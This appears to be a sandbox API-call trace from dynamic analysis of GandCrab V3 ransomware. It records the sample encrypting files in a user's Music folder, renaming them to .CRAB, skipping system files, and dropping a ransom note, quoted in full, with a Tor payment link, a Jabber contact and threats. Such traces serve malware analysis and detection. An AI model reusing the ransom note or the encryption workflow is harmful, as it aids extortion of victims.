	[0131.418] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.418] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0131.421] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.421] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.422] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.422] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0131.422] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.422] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.422] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.422] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.423] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0131.429] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320ddd0) returned 1
	[0131.429] CryptGetKeyParam (in: hKey=0x320ddd0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0131.429] CryptEncrypt (in: hKey=0x320ddd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0131.429] GetLastError () returned 0x0
	[0131.429] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.429] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0131.434] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320de10) returned 1
	[0131.435] CryptGetKeyParam (in: hKey=0x320de10, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0131.435] CryptEncrypt (in: hKey=0x320de10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0131.435] GetLastError () returned 0x0
	[0131.435] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.435] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\1rVJ.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\1rvj.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0131.435] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.437] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.437] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x1311d, lpOverlapped=0x0) returned 1
	[0131.456] VirtualAlloc (lpAddress=0x0, dwSize=0x13120, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.458] VirtualAlloc (lpAddress=0x0, dwSize=0x13120, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0131.461] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.462] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffecee3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.462] WriteFile (in: hFile=0x3f0, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x13120, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314bf0c*=0x13120, lpOverlapped=0x0) returned 1
	[0131.462] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.463] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.505] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0131.505] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0131.506] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0131.506] CloseHandle (hObject=0x3f0) returned 1
	[0131.506] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.506] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.506] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.507] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.507] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.507] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.507] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.507] lstrcmpW (lpString1="29HmK0.wav", lpString2=".") returned 1
	[0131.507] lstrcmpW (lpString1="29HmK0.wav", lpString2="..") returned 1
	[0131.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\", lpString2="29HmK0.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav"
	[0131.508] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.508] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav") returned 73
	[0131.508] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav") returned 73
	[0131.508] lstrlenW (lpString=".wav") returned 4
	[0131.508] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.508] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0131.508] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.508] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav") returned 73
	[0131.508] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav") returned 73
	[0131.508] lstrcmpiW (lpString1="29HmK0.wav", lpString2="desktop.ini") returned -1
	[0131.509] lstrcmpiW (lpString1="29HmK0.wav", lpString2="autorun.inf") returned -1
	[0131.509] lstrcmpiW (lpString1="29HmK0.wav", lpString2="ntuser.dat") returned -1
	[0131.509] lstrcmpiW (lpString1="29HmK0.wav", lpString2="iconcache.db") returned -1
	[0131.509] lstrcmpiW (lpString1="29HmK0.wav", lpString2="bootsect.bak") returned -1
	[0131.509] lstrcmpiW (lpString1="29HmK0.wav", lpString2="boot.ini") returned -1
	[0131.509] lstrcmpiW (lpString1="29HmK0.wav", lpString2="ntuser.dat.log") returned -1
	[0131.509] lstrcmpiW (lpString1="29HmK0.wav", lpString2="thumbs.db") returned -1
	[0131.509] lstrcmpiW (lpString1="29HmK0.wav", lpString2="CRAB-DECRYPT.txt") returned -1
	[0131.509] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.509] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB") returned 78
	[0131.509] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\29hmk0.wav")) returned 0x20
	[0131.509] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav", dwFileAttributes=0x20) returned 1
	[0131.510] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\29hmk0.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\29hmk0.wav.crab")) returned 1
	[0131.511] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.511] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB"
	[0131.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB.CRAB"
	[0131.511] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6eb78) returned 1
	[0131.514] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.514] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.514] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.514] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0131.516] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.516] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.516] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0131.518] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.519] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.519] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0131.519] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.519] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.519] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.520] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.520] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0131.523] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320de90) returned 1
	[0131.523] CryptGetKeyParam (in: hKey=0x320de90, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0131.523] CryptEncrypt (in: hKey=0x320de90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0131.523] GetLastError () returned 0x0
	[0131.524] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.524] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0131.527] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e550) returned 1
	[0131.528] CryptGetKeyParam (in: hKey=0x320e550, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0131.528] CryptEncrypt (in: hKey=0x320e550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0131.528] GetLastError () returned 0x0
	[0131.528] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.528] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\29HmK0.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\29hmk0.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0131.529] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.529] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.530] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xa656, lpOverlapped=0x0) returned 1
	[0131.547] VirtualAlloc (lpAddress=0x0, dwSize=0xa660, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.548] VirtualAlloc (lpAddress=0x0, dwSize=0xa660, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0131.549] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.549] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff59aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.549] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xa660, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xa660, lpOverlapped=0x0) returned 1
	[0131.549] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.552] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.555] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0131.555] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0131.556] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0131.556] CloseHandle (hObject=0x3f0) returned 1
	[0131.556] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.556] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.557] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.557] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.557] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.557] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.557] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.557] lstrcmpW (lpString1="bZj2Hufm2xQPz20kv", lpString2=".") returned 1
	[0131.558] lstrcmpW (lpString1="bZj2Hufm2xQPz20kv", lpString2="..") returned 1
	[0131.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\", lpString2="bZj2Hufm2xQPz20kv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv"
	[0131.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\"
	[0131.558] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0131.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0131.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0131.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0131.558] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0131.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0131.558] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0131.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0131.559] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0131.559] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0131.559] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.559] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\\\CRAB-DECRYPT.txt") returned 98
	[0131.559] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0131.571] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0131.571] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0131.572] CloseHandle (hObject=0x3f0) returned 1
	[0131.572] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.572] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\") returned 81
	[0131.572] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\*"
	[0131.572] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x320ded0
	[0131.572] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0131.572] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.572] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0131.572] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0131.573] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.573] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0131.573] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
